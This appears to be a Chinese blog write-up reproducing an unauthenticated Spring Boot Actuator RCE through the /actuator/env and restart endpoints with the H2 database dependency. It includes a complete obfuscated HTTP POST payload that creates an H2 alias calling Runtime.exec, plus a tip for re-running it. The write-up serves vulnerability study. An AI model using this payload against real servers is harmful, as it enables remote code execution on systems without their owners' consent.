zoukankan      html  css  js  c++  java
  • Spring未授权REC利用方式四(env接口/h2 database query RCE)

    一、漏洞成因

      env接口暴露

      使用h2 database 依赖

    二、利用条件

      env接口

      restart接口

      存在 com.h2database.h2 依赖

    三、漏洞确认

      访问env接口,查看是否存在h2 database相关依赖

      

     四、漏洞复现

      1. 访问env接口post传参,记得添加content-type

    POST /actuator/env
    Content-Type: application/json

    {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}

      

       2.我这里改成了画画板,访问env查看是否写入

      

      3.restart重启

      

       总结:

       1.这个利用过程比较简单,就是在发送post请求的时候,里面value值的在执行一次后换一个T5,如下换T6,原参考文章中有提到,否则执行失败。

       2.h2 database还有Jndi注入的注入方式就不尝试复现了

       3.mysql的有点复杂,暂时不尝试了,spring未授权的rec漏洞复现暂时到此为止了。

    参考文章:

      https://github.com/LandGrey/SpringBootVulExploit#0x04jolokia-logback-jndi-rce

  • 相关阅读:
    神经网络量化入门--激活函数
    自我介绍+软工五问
    Myapp
    自我介绍+软工5问
    需求改进&系统设计
    团队展示&选题
    结对编程(java实现)
    个人项目-wc
    自我介绍+软工5问
    团队项目介绍
  • 原文地址:https://www.cnblogs.com/hei-zi/p/14345335.html
Copyright © 2011-2022 走看看